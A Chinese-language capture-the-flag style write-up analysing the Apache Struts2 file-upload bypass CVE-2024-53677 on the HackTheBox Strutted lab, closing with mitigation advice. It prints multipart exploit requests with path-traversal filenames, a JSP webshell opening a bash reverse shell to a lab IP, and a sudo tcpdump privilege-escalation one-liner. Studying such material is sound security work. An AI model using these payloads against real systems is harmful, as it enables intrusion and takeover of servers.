HTB Strutted 靶机与 CVE-2024-53677 漏洞分析教学文档<\/h1>

1. 漏洞概述<\/h2>

1.1 CVE-2024-53677 简介<\/h3>
CVE-2024-53677 是 Apache Struts2 框架中的一个文件上传逻辑绕过漏洞，该漏洞允许攻击者通过精心构造的请求绕过文件上传限制，实现任意文件上传。<\/p>

1.2 影响版本范围<\/h3>

Struts 2.0.0 - Struts 2.3.37（EOL）<\/li>
Struts 2.5.0 - Struts 2.5.33<\/li>

Struts 6.0.0 - Struts 6.3.0.2<\/li> <\/ul>

1.3 相关漏洞<\/h3>

CVE-2023-50164（S2-066）是该漏洞的前身，影响范围包括：<\/p>

Struts 2.0.0-2.3.37<\/li>
Struts 2.5.0-2.5.32<\/li>

Struts 6.0.0-6.3.0<\/li> <\/ul>

2. 环境搭建<\/h2>

2.1 所需环境<\/h3>

JDK 17<\/li>
Tomcat 服务器<\/li>
IntelliJ IDEA<\/li>

Struts2 6.3.0.1 框架<\/li> <\/ul>

2.2 项目部署步骤<\/h3>

在 IDEA 中配置 Tomcat 服务器<\/li>
使用 JDK 17 作为项目 SDK<\/li>

修改文件上传路径（可选）：

默认路径：System.getProperty("user.dir")<\/code> 指向 Tomcat 的 bin 目录<\/li>

建议修改至：tomcat\/webapps\/ROOT\/<\/code> 目录<\/li>
<\/ul>
<\/li>
<\/ol>
3. 漏洞原理分析<\/h2>
3.1 Struts2 文件上传流程<\/h3>
文件上传过程涉及两个关键拦截器：<\/p>
3.1.1 FileUploadInterceptor<\/h4>

负责解析 multipart\/form-data<\/code> 请求<\/li>
将文件部分保存为临时文件<\/li>
对文件名进行安全处理（防止目录穿越）<\/li>
<\/ul>
关键代码分析：<\/strong><\/p>
protected<\/span> String getCanonicalName<\/span>(<\/span>String originalFileName)<\/span> {<\/span>
<\/span><\/span>    int<\/span> forwardSlash =<\/span> originalFileName.<\/span>lastIndexOf<\/span>(<\/span>47<\/span>);<\/span> \/\/ '\/'
<\/span><\/span><\/span><\/span>    int<\/span> backwardSlash =<\/span> originalFileName.<\/span>lastIndexOf<\/span>(<\/span>92<\/span>);<\/span> \/\/ '\'
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    String fileName;<\/span>
<\/span><\/span>    if<\/span> (<\/span>forwardSlash !=<\/span> -<\/span>1<\/span> &&<\/span> forwardSlash ><\/span> backwardSlash)<\/span> {<\/span>
<\/span><\/span>        fileName =<\/span> originalFileName.<\/span>substring<\/span>(<\/span>forwardSlash +<\/span> 1<\/span>);<\/span>
<\/span><\/span>    }<\/span> else<\/span> {<\/span>
<\/span><\/span>        fileName =<\/span> originalFileName.<\/span>substring<\/span>(<\/span>backwardSlash +<\/span> 1<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    return<\/span> fileName;<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>3.1.2 ParametersInterceptor<\/h4>

将表单参数赋值到 Action 属性<\/li>
执行类型转换和参数绑定<\/li>
使用 TreeMap 对参数键进行排序（按 Unicode 码值）<\/li>
<\/ul>
3.2 漏洞成因（CVE-2023-50164）<\/h3>
3.2.1 参数覆盖机制<\/h4>


FileUploadInterceptor 硬编码生成参数名：<\/p>
String contentTypeName =<\/span> inputName +<\/span> "ContentType"<\/span>;<\/span>  \/\/ uploadContentType
<\/span><\/span><\/span><\/span>String fileNameName =<\/span> inputName +<\/span> "FileName"<\/span>;<\/span>       \/\/ uploadFileName
<\/span><\/span><\/span><\/code><\/pre><\/li>

ParametersInterceptor 使用 TreeMap 存储参数，按 key 的 Unicode 值排序<\/p>
<\/li>

OGNL 表达式处理过程中，参数名首字母会被大写：<\/p>

uploadFileName<\/code> → UploadFileName<\/code><\/li>
对应调用 setUploadFileName()<\/code> 方法<\/li>
<\/ul>
<\/li>
<\/ol>
3.2.2 利用方法<\/h4>
通过添加额外的 uploadFileName<\/code> 参数，利用 TreeMap 排序特性实现参数覆盖：<\/p>
Payload 1 - URL 参数方式：<\/strong><\/p>
POST<\/span> \/strutted\/upload.action?uploadFileName=..\/shell.jsp HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span><\/code><\/pre>Payload 2 - 请求体参数方式：<\/strong><\/p>
POST<\/span> \/strutted\/upload.action HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Content-Type:<\/span> multipart\/form-data; boundary=----WebKitFormBoundary<\/span>
<\/span><\/span>
<\/span><\/span>------WebKitFormBoundary
<\/span><\/span>Content-Disposition: form-data; name="uploadFileName"
<\/span><\/span>
<\/span><\/span>..\/shell.jsp
<\/span><\/span>------WebKitFormBoundary--
<\/span><\/span><\/code><\/pre>3.3 绕过机制（CVE-2024-53677）<\/h3>
3.3.1 官方修复措施<\/h4>
在 HttpParameters#appendAll()<\/code> 方法中添加了小写检查：<\/p>
\/\/ 修复代码逻辑
<\/span><\/span><\/span><\/span>String lowerCaseParamName =<\/span> paramName.<\/span>toLowerCase<\/span>();<\/span>
<\/span><\/span>if<\/span> (<\/span>parameters.<\/span>containsKey<\/span>(<\/span>lowerCaseParamName))<\/span> {<\/span>
<\/span><\/span>    parameters =<\/span> parameters.<\/span>remove<\/span>(<\/span>lowerCaseParamName);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>3.3.2 绕过方法<\/h4>
利用 OGNL 表达式直接操作值栈中的变量：<\/p>


初始尝试（被拦截）：<\/strong><\/p>
name="[0].top.uploadFileName"
<\/span><\/span><\/span><\/code><\/pre><\/li>

最终有效载荷：<\/strong><\/p>
name="top.uploadFileName"
<\/span><\/span><\/span><\/code><\/pre><\/li>
<\/ol>
绕过原理：<\/strong><\/p>

[0].top.uploadFileName<\/code> 与 top.uploadFileName<\/code> 在 OGNL 中等价<\/li>
ParametersInterceptor 的正则过滤规则：`\w+((.\w+)|(<\/li>
<\/ul>
\[\d+
\]<\/span><\/p>
)|(\(\d+\)<\/span>)|(<\/p>
\['(\w|-|[\u4e00-\u9fa5])+'
\]<\/span><\/p>
)|(\('(\w|-|[\u4e00-\u9fa5])+'\)<\/span>))*`<\/p>

top.uploadFileName<\/code> 符合过滤规则，可以绕过检测<\/li>
<\/ul>
4. HTB Strutted 靶机实战<\/h2>
4.1 目标分析<\/h3>

Struts2 6.3.0.1 框架<\/li>
自定义 UploadAction 类<\/li>
存在文件上传功能<\/li>
<\/ul>
4.2 UploadAction 安全限制分析<\/h3>
4.2.1 安全校验方法<\/h4>
public<\/span> String execute<\/span>()<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>    \/\/ 检查文件是否为空
<\/span><\/span><\/span><\/span>    boolean<\/span> noFileSelected =<\/span> (<\/span>upload ==<\/span> null<\/span> ||<\/span> StringUtils.<\/span>isBlank<\/span>(<\/span>uploadFileName));<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 检查 Content-Type
<\/span><\/span><\/span><\/span>    if<\/span> (!<\/span>isAllowedContentType(<\/span>uploadContentType))<\/span> {<\/span>
<\/span><\/span>        addActionError(<\/span>"Only image files can be uploaded!"<\/span>);<\/span>
<\/span><\/span>        return<\/span> INPUT;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 检查文件魔数
<\/span><\/span><\/span><\/span>    if<\/span> (!<\/span>isImageByMagicBytes(<\/span>upload))<\/span> {<\/span>
<\/span><\/span>        addActionError(<\/span>"The file does not appear to be a valid image."<\/span>);<\/span>
<\/span><\/span>        return<\/span> INPUT;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 文件保存逻辑
<\/span><\/span><\/span><\/span>    \/\/ ...
<\/span><\/span><\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>4.2.2 具体限制条件<\/h4>


Content-Type 白名单：<\/strong><\/p>
String[]<\/span> allowedTypes =<\/span> {<\/span>"image\/jpeg"<\/span>,<\/span> "image\/png"<\/span>,<\/span> "image\/gif"<\/span>};<\/span>
<\/span><\/span><\/code><\/pre><\/li>

文件魔数检测：<\/strong><\/p>
\/\/ JPEG: FF D8 FF
<\/span><\/span><\/span>\/\/ PNG: 89 50 4E 47
<\/span><\/span><\/span>\/\/ GIF: 47 49 46 38 (37|39) 61
<\/span><\/span><\/span><\/code><\/pre><\/li>
<\/ol>
4.3 漏洞利用步骤<\/h3>
4.3.1 构造恶意文件<\/h4>

在文件开头添加合法的图片魔数<\/li>
后面跟随 WebShell 代码<\/li>
<\/ol>
示例 WebShell：<\/strong><\/p>
<% 
    String[] cmdArray = {
        "\/bin\/bash",
        "-c",
        "bash -i >& \/dev\/tcp\/10.10.14.119\/4444 0>&1"
    };
    Runtime.getRuntime().exec(cmdArray);
    out.println("Reverse shell command dispatched.");
%>
<\/code><\/pre>
4.3.2 构造攻击载荷<\/h4>
POST<\/span> \/upload.action;jsessionid=9EED75D669C81B098561B09CA9F49A5F HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> strutted.htb<\/span>
<\/span><\/span>Content-Type:<\/span> multipart\/form-data; boundary=---------------------------8585537542099060041342679052<\/span>
<\/span><\/span>
<\/span><\/span>-----------------------------8585537542099060041342679052
<\/span><\/span>Content-Disposition: form-data; name="Upload"; filename="1.jpg"
<\/span><\/span>Content-Type: image\/jpeg
<\/span><\/span>
<\/span><\/span>ÿØÿ<% out.println("EXP");%>
<\/span><\/span>-----------------------------8585537542099060041342679052
<\/span><\/span>Content-Disposition: form-data; name="top.UploadFileName"
<\/span><\/span>
<\/span><\/span>..\/..\/shell.jsp
<\/span><\/span>-----------------------------8585537542099060041342679052--
<\/span><\/span><\/code><\/pre>4.4 权限提升<\/h3>
4.4.1 信息收集<\/h4>

在 Tomcat 配置文件中发现管理员密码（注释状态）<\/li>
尝试 SSH 口令复用，发现 james 用户<\/li>
<\/ol>
4.4.2 特权命令利用<\/h4>
james@strutted:~$ sudo -l
<\/span><\/span>User james may run the following commands on localhost:
<\/span><\/span>    (<\/span>ALL)<\/span> NOPASSWD: \/usr\/sbin\/tcpdump
<\/span><\/span><\/code><\/pre>4.4.3 GTFOBins 提权方法<\/h4>
# 创建临时文件<\/span>
<\/span><\/span>COMMAND=<\/span>"\/bin\/bash -c '\/bin\/bash -i >& \/dev\/tcp\/10.10.14.119\/9001 0>&1'"<\/span>
<\/span><\/span>TF=<\/span>$(<\/span>mktemp)<\/span>
<\/span><\/span>echo "<\/span>$COMMAND"<\/span> > $TF
<\/span><\/span>chmod +x $TF
<\/span><\/span>
<\/span><\/span># 利用 tcpdump 提权<\/span>
<\/span><\/span>sudo tcpdump -ln -i lo -w \/dev\/null -W 1<\/span> -G 1<\/span> -z $TF -Z root
<\/span><\/span><\/code><\/pre>5. 防护措施<\/h2>
5.1 临时解决方案<\/h3>

升级到 Struts 2.3.38、2.5.34 或 6.3.0.3 及以上版本<\/li>
在拦截器中添加额外的文件名校验<\/li>
<\/ul>
5.2 长期防护建议<\/h3>

实施严格的文件类型验证（白名单机制）<\/li>
对上传文件进行重命名，避免路径遍历<\/li>
将上传文件存储在 Web 根目录之外<\/li>
定期更新框架版本<\/li>
<\/ol>
6. 总结<\/h2>
CVE-2024-53677 漏洞展示了 Struts2 框架在参数处理和文件上传机制中的深层次安全问题。通过深入理解拦截器工作原理、OGNL 表达式机制和值栈操作，安全研究人员能够发现并利用这类逻辑绕过漏洞。在实际渗透测试中，结合目标系统的具体实现特点，灵活运用各种技术手段，才能有效发现和利用安全漏洞。<\/p>

HTB Strutted 靶机与 CVE-2024-53677 漏洞分析教学文档<\/h1>

1. 漏洞概述<\/h2>

1.1 CVE-2024-53677 简介<\/h3> CVE-2024-53677 是 Apache Struts2 框架中的一个文件上传逻辑绕过漏洞，该漏洞允许攻击者通过精心构造的请求绕过文件上传限制，实现任意文件上传。<\/p>

2. 环境搭建<\/h2>

3. 漏洞原理分析<\/h2>

3.1 Struts2 文件上传流程<\/h3> 文件上传过程涉及两个关键拦截器：<\/p>

3.2 漏洞成因（CVE-2023-50164）<\/h3>

3.3 绕过机制（CVE-2024-53677）<\/h3>

4. HTB Strutted 靶机实战<\/h2>

4.2 UploadAction 安全限制分析<\/h3>

4.3 漏洞利用步骤<\/h3>

4.4 权限提升<\/h3>

5. 防护措施<\/h2>

1.1 CVE-2024-53677 简介<\/h3>
CVE-2024-53677 是 Apache Struts2 框架中的一个文件上传逻辑绕过漏洞，该漏洞允许攻击者通过精心构造的请求绕过文件上传限制，实现任意文件上传。<\/p>

3.1 Struts2 文件上传流程<\/h3>
文件上传过程涉及两个关键拦截器：<\/p>